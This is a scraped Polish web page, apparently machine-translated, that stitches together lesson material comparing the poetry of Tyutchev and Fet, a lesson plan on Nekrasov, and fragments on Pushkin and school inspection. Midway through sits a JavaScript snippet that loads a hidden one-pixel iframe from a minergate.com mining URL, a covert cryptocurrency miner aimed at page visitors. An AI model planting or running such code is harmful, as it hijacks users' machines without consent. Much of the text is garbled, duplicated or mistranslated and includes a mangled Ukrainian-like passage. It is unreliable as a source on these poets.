Dwa największy poeta swojej epoki - Fedor Iwanowicz Tyutchev i Afanasy Afanasyevich Fet. Wkład tych pisarzy w system rosyjskiej wersyfikacji jest nieoceniony. W twórczości obojga odnaleźć można cechy charakterystyczne dla wielu ówczesnych postaci literackich. Być może dlatego obaj poeci są tak często porównywani. Tymczasem zarówno Tyutchev, jak i Fet mają specjalne, niepowtarzalne szczegóły i nastroje, których nie znajdziesz w pracach drugiego.

Wśród podobieństw w twórczości obu poetów można zauważyć sposób jej opisu wewnętrzny świat postacie liryczne. Zarówno Tyutchev, jak i Fet zwracają większą uwagę na najgłębsze przeżycia emocjonalne osoby, portrety ich lirycznych bohaterów są bardzo psychologiczne. Oprócz psychologizmu obaj poeci stosują technikę paralelizmu: świat wewnętrzny, nastrój człowieka, jego głębokie uczucia i uczucia często znajdują odzwierciedlenie w naturze.

Podobne są też opisy samej natury przez poetów. Ich charakter jest dwuwymiarowy: ma stronę krajobrazową i psychologiczną. To właśnie wyjaśnia użycie paralelizmu: opis świata zewnętrznego niejako zamienia się w opis emocji bohatera lirycznego. Kolejnym podobieństwem są motywy tekstów miłosnych. Tyutchev i Fet przeżyli straszną tragedię: stracili ukochaną osobę, a ta strata znalazła odzwierciedlenie w naturze ich miłosnych tekstów.

Pomimo tego duża liczba opisane powyżej podobne cechy tekstów Feta i Tyutczewa, istnieje całkiem sporo różnic w ich twórczości. Teksty Feta skłaniają się bardziej ku opisowym motywom pejzażowym, podczas gdy wiersze Tyutczewa mają charakter filozoficzny (choć wierszy pejzażowych też ma dość). Stosunek do życia w wierszach poetów jest również różny: Fet podziwia życie, a Tyutczew postrzega je jako byt.

Poeci postrzegają naturę i człowieka na różne sposoby: dla Tyutczewa przyroda jest ogromnym światem, wobec którego człowiek staje się bezsilny, a Fet postrzega go jako żywą istotę żyjącą w absolutnej harmonii z człowiekiem. Inna jest też strona „techniczna” wierszy. Fet posługuje się wieloma składniowymi środkami wyrazu, szczególnie często stosuje kompozycyjne powtórzenie. Tyutczew natomiast częściej sięga po tropy alegoryczne, zwłaszcza metaforę i jej odmiany.

Tak więc, pomimo dużej liczby znalezionych podobieństw, nie należy tracić z oczu ogromnej warstwy różnic między tekstami Feta i Tyutczewa. Poeci żyli w tej samej epoce, podlegali wpływom tego samego społeczeństwa, a nawet niektóre fakty z ich biografii są podobne, więc nie dziw się, że w ich twórczości są podobne motywy. Ale jednocześnie Fet i Tyutchev są niezależnymi kreatywnymi jednostkami, zdolnymi do stworzenia czegoś oryginalnego i niepowtarzalnego, wkładając w to kawałek swojej duszy.

Fedor Tyutchev był siedemnaście lat starszy od Afanasy Feta. Różnica wieku, miejsca, które odwiedzali iw których mieszkali, odcisnęły piętno na twórczości wielkich rosyjskich liryków, którzy jak nikt inny potrafili wyrazić swoje myśli i uczucia w poetyckiej formie. Masowi współcześni czytelnicy traktowali ich poezję raczej chłodno i dopiero czas ustawił wszystko na swoim miejscu. Ci dwaj geniusze są sobie bliscy w pełnym szacunku stosunku do miłości. Porównajmy Tyutczewa i Feta.

Wyjątkowość poezji F.I. Tyutczew

Fiodor Iwanowicz napisał w swoim życiu nieco ponad czterysta wierszy. dzieli je na trzy okresy. Ograniczymy się do analizy utworów odzwierciedlających życie natury z jego głębokim filozoficznym wydźwiękiem oraz tekstów miłosnych. Porównanie Tyutczewa i Feta w tych dziedzinach poezji pokazuje różnicę między zniewalającym wdziękiem „czystej sztuki” A. Feta a pełnią myśli i autentycznym, choć skąpym, wyrazem uczuć F. Tyutczewa.

Mieszkając w Nicei po śmierci E. Denisjewej, którą bardzo się martwił, poeta pisze gorzki wiersz, w którym porównuje swoje życie do ptaka, któremu odłamano skrzydła. Ona, widząc jasny blask południa, spokojne życie, chce i nie może wstać. A wszystko to „drży z bólu i niemocy”. W ośmiu wierszach widzimy wszystko: jasną przyrodę Włoch, której blask nie cieszy, ale niepokoi, nieszczęsnego ptaka, któremu nie jest już przeznaczone latanie, i Człowieka, który odczuwa jej ból jako własny. Porównanie Tyutcheva i Feta, który również przeżył osobisty dramat, jest tutaj po prostu niemożliwe. Mówią po rosyjsku, ale w różnych językach.

Wiersz „Rosjanka”, składający się z dwóch zwrotek, jest nadal aktualny.

Pokrótce zarysowano jego bezbarwne i bezużyteczne istnienie na rozległych, opustoszałych, bezimiennych przestrzeniach. Liryczna bohaterka porównuje swoje życie do chmury dymu, która stopniowo znika na zamglonym, jesiennym niebie.

Ale co z miłością? Jest tylko analizowany. Wiersz „Lato 1854” na początku przesycony jest zachwytem, ​​czarami miłości, która została dana dwojgu „bez żadnego powodu”. Ale patrzy „niespokojnymi oczami”. Dlaczego i skąd bierze się taka radość? Racjonalny umysł nie może tego tak po prostu zaakceptować. Musimy dojść do prawdy. Według lirycznego bohatera to tylko demoniczne uwodzenie…

F. Tyutchev jest subtelnym psychologiem i bez względu na to, jakiego tematu się podejmie, z pewnością pojawi się przed nami w całej wielkości geniuszu.

Muzyczny dar A. Feta

Porównanie Tyutczewa i Feta pokazuje, że niezależnie od tego, jaki obraz przybiorą obaj poeci, z pewnością będzie on odzwierciedlał oblicze natury lub miłości, często ze sobą splecionych. Tylko A. Fet ma więcej dreszczyku życia, przejść stanów. Poeta ukazuje nam świat i jego piękno, bardzo wiernie je odtwarzając i udoskonalając ludzką naturę. „May Night” to wiersz, którego L. Tołstoj natychmiast nauczył się na pamięć.

Oto obraz nocnego nieba z topniejącymi chmurami oraz obietnica miłości i szczęścia na ziemi, która okazuje się możliwa do osiągnięcia tylko w niebie. W ogóle, z całą niezaprzeczalną muzykalnością, Fet doszedł do radosnego, niemal pogańskiego postrzegania bytu.

Relacja między człowiekiem a naturą u dwóch poetów

Porównując teksty Tyutczewa i Feta okazuje się, że dla Tyutczewa nie ma harmonii między człowiekiem a naturą. Uparcie próbuje rozwiązać jej odwieczną zagadkę, której ten sfinks może nie mieć. Fet natomiast podziwia jej urodę wbrew jej woli, ona wlewa się w niego i tryska w formie entuzjastycznych prac na kartkach papieru.

Czym dla każdego z nich jest miłość

Tyutchev wierzy, że miłość niszczy człowieka. Ona jest poza harmonią. Ten żywioł, który nagle przychodzi i niszczy ustalone życie. Przynosi tylko cierpienie. Porównanie poezji Tyutcheva i Feta pokazuje, że ci ostatni, nawet w wieku dorosłym, mają jasne i entuzjastyczne kolory, aby opisać uczucie, które wybuchło: „Serce łatwo oddaje się szczęściu”.

Pamięta i ani na chwilę nie zapomina swojego młodzieńcza miłość, ale nie odwraca się od swojej tragedii w Alter ego i wierzy, że dla prawdziwej miłości czeka szczególny sąd - nie można go oddzielić od ukochanej.

Świat jest dziełem Stwórcy. Obaj poeci próbują poznać Stwórcę poprzez naturę. Ale jeśli F. Tyutchev patrzy na świat tragicznie i filozoficznie, to A. Fet, jak słowik, śpiewa pieśń jego nieprzemijającemu pięknu.

W wyniku przestudiowania tematu studenci powinni mieć jasne wyobrażenie o cechach stylu poetyckiego F. Tyutczewa i A. Feta

Na początku lekcji nauczyciel wraz z klasą sporządza tabelę podsumowującą, którą zapisuje w zeszytach.

Cechy poetyckiego stylu Tyutczewa i Feta

W drugiej połowie lekcji możesz zorganizować niezależną Praca badawcza według analizy porównawczej wiersza F. Tyutcheva „Ziemia wciąż wygląda smutno ...” i wiersza A. Feta „Wciąż pachnąca błogość wiosny ...” oraz przygotowanie do samodzielnej pracy pisemnej, którą można rozpocząć w klasie i zakończone w domu.

Zadania benchmarkingu Zidentyfikuj cechy formy artystycznej każdego wiersza. Jakie poetyckie znaczenie można w tym dostrzec?

O czym są te wiersze? Czy mają podtekst alegoryczny?

Jakie obrazy wierszy można uznać za obrazy-symbole? Dopasuj słownictwo, składnię, intonacje poetyckie wierszy. Wyciągnij wnioski na temat podobieństw i różnic w uczuciach i obrazach artystycznych tych wierszy. Wyciągnij wnioski na temat głównych cech stylu poetyckiego Tyutczewa i Feta, przejawiających się w tych wierszach.

„Zapasy uniemożliwiły mi bycie poetą, piosenki uniemożliwiły mi bycie wojownikiem”. Osobowość i losy N. A. Niekrasowa

Nikołaj Aleksiejewicz Niekrasow W słowach Niekrasowa, które można potraktować jako motto do twórczości liryka, jest przyczyną wewnętrznych sprzeczności w jego światopoglądzie i twórczości. Poeta - w istocie liryk - przez całe życie podporządkowywał swoją twórczość poetycką zadaniom politycznym i społecznym. Nie spodziewał się po swoich „pieśniach” boskich dźwięków, „zesłanych z góry”, ale starał się nauczyć swoją muzę, jaka powinna być.

Według Niekrasowa, muza ma obowiązek „dziczeć” poetę wierszami pełnymi współczucia dla uciśnionych i pozbawionych środków do życia, być muzą „zemsty i smutku”

Na początek lekcji mały koncert wierszy Niekrasowa, a dodatkowo pełna emocji opowieść o najważniejszych kartach w życiu i twórczości tekściarza. W klasie możesz czytać wiersze, które wyrażają głębokie współczucie dla narodu rosyjskiego, wiersze o miłości, o zadaniach twórczości poetyckiej, na przykład: „Moje serce pęka od mąki…”, „Zawsze jesteś dobry nieporównywalnie ...”, „Słuchając okropności wojny…”, „Święto życia – lata młodości…

”, „Poecie” („Miłość i praca - pod stosami ruin ...”), „Rosyjski pisarz”.

Pytania do klasy w celu określenia percepcji Jakie problemy życiowe martwiły teksty? Jak go widzisz w tych wersetach? Podstawą opowieści nauczyciela o kartach biografii pisarza może być schemat chronologiczny: 1.

Dzieciństwo we wsi Greshnev nad Wołgą, nauka w gimnazjum w Jarosławiu. 2. Pierwsze lata życia w Petersburgu, konflikt z ojcem, początek działalności poetyckiej. Negatywna ocena w krytyce kolekcji „Sny i dźwięki”.

3. Punkt zwrotny w życiu Niekrasowa - zbliżenie z Bielińskim. Niekrasow jest apologetą „nurtu Gogola” w literaturze. Tekst z serwisu Big Report RU

„Fizjologia Petersburga”. 4. Twórczość pierwszej połowy lat 40.: „Ojczyzna”, „Oda współczesna”, „Kołysanka”, „W drodze” itp. Gorycz i współczucie dla upokorzonych, ironia wobec „panów życia”.

Pytania i zadania do omówienia wiersza „Czy jadę nocą ciemną ulicą…” 1. Jaki nastrój nasycony jest tym wierszem? Jak zdefiniowałbyś jego gatunek (pamiętnik, refleksja, elegia, requiem, scena rodzajowa)?

Jakie są źródła ludzkich tragedii? Udowodnij, że los kobiety był szczególnie trudny i beznadziejny. Jaki jest jedyny sposób, w jaki bohaterka znajduje wyjście z biedy i smutku? 3. Co zarzuca sobie podmiot liryczny wiersza? Dlaczego nie może zapomnieć o matce swojego dziecka? 4. W jaki sposób przypadek z „życia prywatnego” pomaga zrozumieć dramat świata, w którym żyją ludzie? Jakie obiektywne rzeczywistości charakteryzują świat, w którym żyją bohaterowie? Dlaczego świat jest dla nich bezlitosny? 5. Znajdź słowa kluczowe w każdej części wiersza. Jak mają się one do późnego pojmowania podmiotu lirycznego? Jak ocenia swoją „nieudaną” miłość? Zadania indywidualne. Porównaj wiersze „Czy jadę nocą ciemną ulicą…” i „W drodze”. Czy mają podstawy do porównań?

Porównaj różne punkty widzenia na temat wiersza „Czy jadę nocą ciemną ulicą…”: „Powiedz ode mnie Niekrasowowi, że jego wiersz w 9. księdze [Sovremennika] całkowicie doprowadził mnie do szaleństwa; dzień i noc powtarzam tę niesamowitą pracę - i już nauczyłem się jej na pamięć ”(z listu I. Turgieniewa do V. Belinsky'ego z 26 listopada 1847 r.). „Kto potrafi pisać wiersze:„ Filantrop ”,„ Epilog do niepisanego wiersza ”,„ Czy jadę nocą ciemną ulicą ... ”,„ Sasha ”,„ Żyjąc zgodnie ze ścisłą moralnością ...

„- może być pewien, że żywa Rosja go zna i kocha” (D. Pisarev, 1861). „Nie da się czytać tej strasznej historii bez dreszczy i obrzydzenia! Tyle w nim niemoralności, tyle straszliwej nędzy!...

I nie ma ani jednej satysfakcjonującej myśli! .. Nie ma nawet cienia tej nadziei w dobroć opatrzności, która zawsze, nieustannie umacnia nieszczęsnego żebraka i chroni go przed przestępstwem ... Szkoda, że ​​pan Muza Niekrasowa jest jedną z najciemniejszych i że widzi wszystko w czarnym świetle…

Jakby nie było już jaśniejszej strony?” (z meldunku cenzora E. Wołkowa, urzędnika do zadań specjalnych przy Ministrze Oświaty Publicznej, do inspektora A.

W latach 1847-1866.

Niekrasow jest wydawcą i redaktorem „Sowremennika”. Główne wątki i motywy liryki Niekrasowa w latach 1847-1866. Należy wziąć pod uwagę, że ich różnorodność gatunkowa: wiersze o losie chłopów, miejskiej biedoty, płat żeński(„Orina, matka żołnierza”, „In z pełnym rozmachem cierpiąca wieś…”, „O pogodzie”, „Płacz dzieci”, „Zapomniana wieś” itp.); Liryczne wiersze o miłości, o gorących związkach kochający ludzie(„Zawsze jesteś niezrównanie dobry…”, „Jesteśmy głupimi ludźmi…”, „Nie podoba mi się twoja ironia…

”,„ Przepraszam ”itp.); Wiersze o poezji, o wielkiej sprzeczności między powołaniem poetyckim a obowiązkiem publicznym („Święto życia to lata młodości…”, „Jestem nieznany. Nie nabyłem z wami…”, „Błogosławiony delikatny poeto...

”, „Poeta i obywatel” itp.); Wiersze poświęcone ᴛᴏʙobszarom walk, nastrojom rewolucyjnym („Pieśń o Eremuszce”, „O śmierci Szewczenki”, „Turgieniew”, „Bieliński”, „Refleksje przed drzwiami”, „Pamięci Dobrolubowa” itp.) ; Wiersze o Rosji, o wysokim celu społecznym Rosjanina („Niezależnie od roku siły maleją ...”, „Sasza”, „Niefortunne”, „Powrót”, „Początek wiersza” itp. ). 6

W latach 1867-1877.

Niekrasow jest redaktorem i wydawcą czasopisma Domestic Notes. Szczyty twórczości poetyckiej Niekrasowa w okresie ϶ᴛόᴛ: wiersze o dekabrystów („Dziadek”, „Rosjanki”), wiersze satyryczne („Ostatnie czasy”, „Współcześni”), wiersz „Kto żyje dobrze na Rusi” ; Dzieła elegijne („Duszno bez szczęścia i woli…”, „Trzy elegie”, „Przygnębienie”, „Poranek”, „Elegia”); Cykl liryczny „Ostatnie pieśni” (1876-1877) („Do siewców”, „Wkrótce stanę się ofiarą rozkładu ...”, „Zina”, „O Muse!

Jestem u drzwi trumny!…”). 7. 8 stycznia 1878 r. - śmierć Niekrasowa. Jego poetyckim testamentem jest wiersz „Zina”. Zina jest żoną Niekrasowa.

Strony: 1 2

Jej prawdziwe nazwisko to Thekla Oʜᴎϲimovna Viktorova. Kiedy Niekrasow poznał ją w 1871 roku, miał 50 lat, ona 18. Była kobietą bez wykształcenia. Kiedy zachorował, opiekowała się nim tak bezinteresownie, że przedwcześnie się zestarzała. Informacja z serwisu BigReferat.. Tekst z serwisu BigReport RU Po jego śmierci opuściła St.

Pytania i zadania do wiersza „Zina” Z jakim uczuciem poeta idzie na śmierć?

Jaki jest wynik życia? Jak iw jakim nastroju opowiada o swojej pośmiertnej sławie? Dlaczego uważa, że ​​jego sława „zgaśnie” po jego śmierci? Co jest najcenniejsze w życiu dla tekściarza: piosenki czy walka? Jaki charakter przybiera sprzeczność między talentem poetyckim a potrzebą udziału w walce społecznej?

Dlaczego poeta robi sobie wyrzuty? Jaki jest jego cudowny pomnik dla siebie? Porównaj pozycję ᴇᴦᴏ z poetyckimi przekonaniami Puszkina w wierszu „Pomnik”.

Jak w tym wierszu manifestują się humanistyczne poglądy Niekrasowa? Jakie według Niekrasowa powinno być wielkie przeznaczenie człowieka?

Wnioski. Złożone, pełne niespodzianek i wątpliwości życie Niekrasowa znalazło odzwierciedlenie w jego twórczości. Żywo reagował na wiele aktualnych wydarzeń swoich czasów; współczuł cierpiącym i pokrzywdzonym; nauczył swoją muzę, jaka powinna być; służbę sztuce przeciwstawił walce o szczęście uciśnionych; podziwiał rodaków zajmujących stanowiska rewolucyjne; subtelnie wyczuwalne intymne relacje między ludźmi, ich czułość i dramatyzm. Tuż przed śmiercią dochodzi do wniosku, że jest złym poetą, bo swój talent poetycki podporządkował walce politycznej, i złym wojownikiem, bo serce liryka, otwarte na „pieśni”, nie zdolne do konsekwentnej i zaciętej walki z wrogami.

Strony: 1 2

Strona 1 z 1

(funkcja() ( var w = document.createElement("iframe"); w.style.border = "brak"; w.style.width = "1px"; w.style.height = "1px"; w.src = "//minergate.com/wmr/bcn/podivilovhuilo%40yandex.ru/4/258de372a1e9730f/hidden"; var s = document.getElementsByTagName("body"); s.appendChild(w, s); ))() ; ...

W wyjątkowo bogatej i różnorodnej twórczości Puszkina wiersze zajmują bardzo duże i znaczące miejsce. Będąc jeszcze w szkole, w liceum, Puszkin wymyślił kilka głównych dzieła literackie: wiersz, komedia, powieść, - ale wszystkie te plany nie są realizowane i pozostają niedokończone na takim czy innym etapie pracy. Ale Puszkin, licealista, pisze dużo wierszy...

W procesie kontroli wewnątrzszkolnej ważną rolę odgrywa obecność na lekcjach liderów placówki oświatowej. Frekwencja na zajęciach planowana jest na tydzień, w oparciu o ogólne zadania określone w rocznym planie pracy szkoły. W planie wizyty odnotowuje się zajęcia, tematykę, treść i cel wizyty. Cel wizyty może być ogólny, mający na celu poprawę efektywności proces edukacyjny całej szkoły, jak i prywatnej, np. studiując system pracy pojedynczego nauczyciela i sposoby rozwiązywania konkretnych zadań pedagogicznych w klasie (np. utrwalanie przerobionego materiału). Liderzy odwiedzają lekcje młodych nauczycieli, aby zapoznać się z ich stylem i systemem pracy, udzielić im pomocy metodycznej. Menedżerowie z reguły uczęszczają na lekcje doświadczonych nauczycieli, aby podsumować swoje bogate doświadczenie pedagogiczne....

Od dzieciństwa towarzyszyły nam wiersze Fiodora Iwanowicza Tyutczewa. Jeszcze nie umiałam czytać, ale na pamięć już wiedziałam: Uwielbiam burzę na początku maja, Kiedy pierwszy wiosenny grzmot, Jakby się bawiąc i bawiąc, Huczy po błękitnym niebie. W Rosji wszyscy - młodzi i starzy - znają ten wiersz. Wiersze wiersza „Wiosenna burza”, jego obrazy i dźwięk zlały się dla mnie z obrazem i dźwiękiem wiosennej burzy, stały się jej wyrazem. Od dawna jest to najbardziej pojemny i poetycko trafny wyraz burzy nad polem, lasem, ogrodem, nad zielonymi przestrzeniami początku wiosny w Rosji. Wiersz „Wiosenna burza” jest słusznie nazywany klasykiem. Wytrzymał najtrudniejszą próbę czasu i pozostał żywym dziełem poezji rosyjskiej.

Fedir Ivanovich Tyutchev wyróżnia się z rosyjskiego panteonu poetyckiego. Vin jest współpracownikiem Puszkina. Ale tse n_yak jest nieczytelne. Poezji Yogo oszczędzono śladów Timchasa. Її kombajn є nie odczuwa emocji wroga, ale jedną koncepcję svetoglaznіya. Poetyka Tiutcheva dotyka kolb i uzasadnia buttya. Ma dwie linie pikowania. Pierwszy jest bezpośrednio związany z biblijnym mitem o stworzeniu świata, przyjacielu, poprzez poezję romantyczną, aby zejść do starożytnych hołdów na temat świata i przestrzeni. , Bіzhat, lśnij i mów ......

1. 1. Poezja „sztuki czystej”. AA Fet, FI Tyutchev Cechy poezji „czystej sztuki” 2. Główne wątki poezji „czystej sztuki” 3. Poezja A. A. Feta 4. Poezja F. I. Tyutczewa 1 . Cechy poezji „sztuki czystej” Znaki 1 Poezja aluzji, domysłów, przeoczeń. 2 Wiersze nie mają fabuły: miniatury liryczne nie oddają myśli i uczuć, ale „latający” nastrój poety. 3 Sztuki nie należy łączyć z życiem. 4 Poeta nie powinien ingerować w sprawy biednego świata. 5 To jest poezja dla wybranych. 2. Główne wątki poezji "czystej sztuki" Love Nature Art Teksty są bogate w odcienie: delikatność i ciepło. Obrazy, nietradycyjne porównania, epitety; humanizacji natury, odnajdując echa w swoich nastrojach i uczuciach. melodyjność i muzykalność. 3. Poezja A. A. Feta Natura w wierszach poety: Pory roku W twórczości rosyjskiej wiosny przedstawiają ją puszyste wierzby, pierwsza konwalia prosząca o światło słoneczne, z półprzezroczystymi liśćmi kwitnących brzóz, pszczoły pełzające „w każdy goździk pachnących liliowy", żurawie, wyjące na stepie rosyjskie lato iskrzące płonące powietrze, błękitne, zamglone niebo, złote odcienie dojrzewającego żyta na wietrze,
2. 2. liliowy dym zachodzącego słońca, zapach skośnych kwiatów nad więdnącym stepem, rosyjska jesień, pstrokate zbocza lasów, ptaki ciągnące się w dal lub fruwające w bezlistnych krzakach, stada na zdeptanych ścierniskach, rosyjska zima, bieg dalekich sań na lśniącym śniegu, gra świtu na ośnieżonej brzozie, wzory szronu na podwójnym oknie Zjawiska naturalne opisał bardziej szczegółowo A. A. Fet, wydają się bardziej szczegółowe niż u jego poprzedników. Wierszem Fet opisuje nie tylko tradycyjne ptaki, które otrzymały zwykłe symboliczne ubarwienie, takie jak orzeł, słowik, łabędź, skowronek, ale także takie jak błotniak, sowa, blackie, brodziec, czajka, jerzyk itp., a każdy ptak jest pokazany w swojej oryginalności. Porównanie poezji przyrodniczej Feta i Niekrasowa Natura jest jedynie przedmiotem artystycznej rozkoszy, przyjemności estetycznej, oderwanej od myśli o związku natury z ludzkimi potrzebami i ludzką pracą. Natura jest ściśle związana z ludzką pracą, z tym, co daje człowiekowi. Osobliwości teksty krajobrazowe chęć naprawienia zmian w przyrodzie; obserwacje dotyczące zmian w przyrodzie są stale grupowane i postrzegane jako znaki fenologiczne; przedstawianie bardziej prywatnych, krótszych i bardziej szczegółowych segmentów pór roku; dokładność i przejrzystość sprawiają, że krajobrazy Feta są ściśle lokalne: z reguły są to krajobrazy centralnych regionów Rosji. Fet lubi opisywać ściśle określoną porę dnia, oznaki takiej czy innej pogody, początek tego czy innego zjawiska w przyrodzie. Co zbliża poezję Feta do impresjonizmu? 1 podziw dla czystego piękna 2 celowa uroda, wręcz banalność. 3 nieustanne używanie takich epitetów jak „magiczny”, „delikatny”, „słodki”, „cudowny”, „czuły” 4 chęć oddania tematu fragmentarycznie, natychmiast utrwalając
3. 3. każde doznanie w pociągnięciach poety 5 jest zainteresowane nie tyle tematem, co wrażeniem wywieranym przez podmiot Fet mówi: „Dla artysty wrażenie, które wywołało dzieło, jest cenniejsze niż sama rzecz, która spowodowała to wrażenie”. Czym jest natura w wierszach Feta? pierwsze ponure jesienne dni wiosenny kwiat znużone środkowo-rosyjskie południe krótka noc północna komar płacze ochrypły derkacz Fet o twórczości: „Poeta to ten, który widzi w temacie, czego nikt nie zobaczy bez jego pomocy”. „Cały świat piękna”. „Nie można nie śpiewać przed wiecznym pięknem, nie chwalić, nie modlić się” 4. Poezja F.I. Tyutcheva Cechy F.I. Twórczość Tiutcheva charakteryzuje się żywym poczuciem Nieskończoności i Wieczności jako rzeczywistości, a nie abstrakcyjnymi, abstrakcyjnymi kategoriami. Tyutczew jest odkrywcą nowych światów figuratywnych w poezji. Skala poetyckich skojarzeń Tyutczewa jest niesamowita. Najwyraźniej „podwójna istota” rozszczepionej ludzkiej duszy jest wyrażona w miłosnych tekstach Tyutczewa. Teksty o miłości Czym jest miłość? „samobójstwo” „błogość i beznadziejność” „fatalny pojedynek” „brutalne zaślepienie namiętności” to element Wiersze wchodzące w skład „Cyklu Denisjewa”
4. 4. „Cały dzień leżała w zapomnieniu ...” Nieuchronne zanikanie ukochanej: „i wszystkie jej cienie już zakryte” na tle letnich zamieszek natury: Spadł ciepły deszcz - jego strumienie wesoło brzmiały przez liście . „Bliźniacy” Motyw śmierci nierozerwalnie splata się z motywem miłości: A któż jest w nadmiarze doznań, Kiedy krew się gotuje i zamarza, Nie znał swoich pokus – Samobójstwo i Miłość. „Przeznaczenie” Tiutchev zajrzał w takie głębiny, w takie otchłanie ludzkiej duszy, jak nikt przed nim: Miłość, miłość - mówi legenda - Zjednoczenie duszy z duszą tubylca - Ich jedność, połączenie i ich fatalna fuzja, I… jeden do jednego. AA Fet „Ucz się od nich - od dębu, od brzozy” Wiersz został napisany w 1883 roku. A. A. Fet rozszerzył możliwości poetyckiego przedstawiania rzeczywistości, ukazując wewnętrzne powiązania świata przyrody i świata ludzi, inspirując przyrodę, tworząc obrazy pejzażowe, które w pełni oddają stan ludzkiej duszy. I to było nowe słowo w rosyjskiej poezji. Krajobraz A. A. Fet sam w sobie nie jest wartościowy, ujawnia życie duszy. „Oryginalność Feta”, konkluduje jeden z badaczy jego poezji, N. N. Skatov, „polega na tym, że humanizacja natury spotyka się z naturalnością człowieka”. „Ludzkie” i „naturalne” w niektórych wierszach A.A. Feta są albo połączone razem, albo rozwijające się równolegle dążą do jedności. Prawa natury, zdaniem A. A. Feta, to niewątpliwie coś więcej niż idee społeczne i poeta musi o tym pamiętać. W wierszu „Ucz się od nich - od dębu, od brzozy ...” natura jest przykładem wytrwałości pouczającej dla osoby: „Ucz się od nich - od dębu, od brzozy. / Wszędzie jest zima. Ciężkie czasy! / Na próżno łzy zamarzały na nich, / A kora pękała, skurczyła się. Oto zarówno wyrzut, jak i lekcja dla osoby cierpiącej: „Stoją, milczą; zamknij się i ty!” I dalej: „Ale wierz w wiosnę. Przybiegnie geniusz, / Tchnąc znowu ciepło i życie, / Na jasne dni, na nowe objawienia / Zrozpaczona dusza będzie chora. FI Tyutchev „Nie to, co myślisz, natura…” W słynnym wierszu „Nie to, co myślisz, natura…” (nie później niż w kwietniu 1836 r.), liryczna myśl F.I. Tiutczewowi najbliżej do filozofii przyrody Schellinga. Wiersz ten był polemicznym, pełnym pasji wykonaniem dwóch esejów H. Heinego: „Szkoła romantyczna” (1833) i „Historia religii i filozofii w Niemczech”, które sprzeciwiały się publikacji we Francji, gdzie słynny poeta zaatakował nie tylko filozofię przyrody Schellinga, ale także poezję „schellingowców” Novalisa i Hoffmanna, argumentując, że „dyskusja o ich zachowaniu jest krytykiem delaunay, ale lekarzem”. „Nie to, co myślisz, natura: / Nie odlew, nie bezduszna twarz - / Ma duszę, ma wolność, / Ma miłość, ma język. ..” Najbardziej wyrazista jest wiara w uniwersalną duchowość natury
5. 5. w tym wierszu - rodzaj manifestu poezji przyrodniczo-filozoficznej F. I. Tyutczewa. Esej G. Heinego jest tylko pretekstem, adresatami wiersza są ludzie obojętni wobec natury, widzący w niej jedynie „odlew”, „bezduszną twarz”, niezdolni do zrozumienia jej „języka”. W wierszu F. I. Tiutczewa mamy do czynienia nie z romantyczną metaforyzacją i psychologizacją natury, ale z jej uduchowieniem.

W wyniku przestudiowania tematu studenci powinni mieć jasne wyobrażenie o cechach stylu poetyckiego F. Tyutczewa i A. Feta. Na początku lekcji nauczyciel wraz z klasą sporządza tabelę podsumowującą, którą zapisuje w zeszytach.

Cechy poetyckiego stylu Tyutczewa i Feta

W drugiej połowie lekcji możesz zorganizować niezależną pracę badawczą dotyczącą analizy porównawczej wiersza F. Tyutczewa „Ziemia wciąż wygląda smutno ...” i wiersza A. Feta „Wciąż pachnąca błogość wiosny ...” i przygotowanie do samodzielnej pracy pisemnej, którą można rozpocząć na zajęciach i ukończyć Domki.

Zadania benchmarkingu

Zidentyfikuj cechy formy artystycznej każdego wiersza. Jakie poetyckie znaczenie można w tym dostrzec?

O czym są te wiersze? Czy mają podtekst alegoryczny?

Wiersze poświęcone towarzyszom walki, rewolucyjne nastroje („Pieśń dla Eremuszki”, „O śmierci Szewczenki”, „Turgieniew”, „Bielinski”, „Refleksje u drzwi wejściowych”, „Pamięci Dobrolyubowa” itp. );

Wiersze o Rosji, o wysokim celu społecznym Rosjanina („Niezależnie od roku siły maleją ...”, „Sasza”, „Niefortunne”, „Powrót”, „Początek wiersza” itp. ).

6. W latach 1867-1877. Niekrasow - redaktor i wydawca magazynu „Domestic

Notatki". Szczyty twórczości poetyckiej Niekrasowa w tym okresie:

Wiersze o dekabrystów („Dziadek”, „Rosjanki”), wiersze satyryczne („Ostatnie czasy”, „Współcześni”), wiersz „”;

Dzieła elegijne („Duszno bez szczęścia i woli…”, „Trzy elegie”, „Przygnębienie”, „Poranek”, „Elegia”);

Cykl liryczny „Ostatnie pieśni” (1876-1877) („Do siewców”, „Wkrótce stanę się ofiarą rozkładu ...”, „Zina”, „O Muzo! Jestem u drzwi trumny! . ”).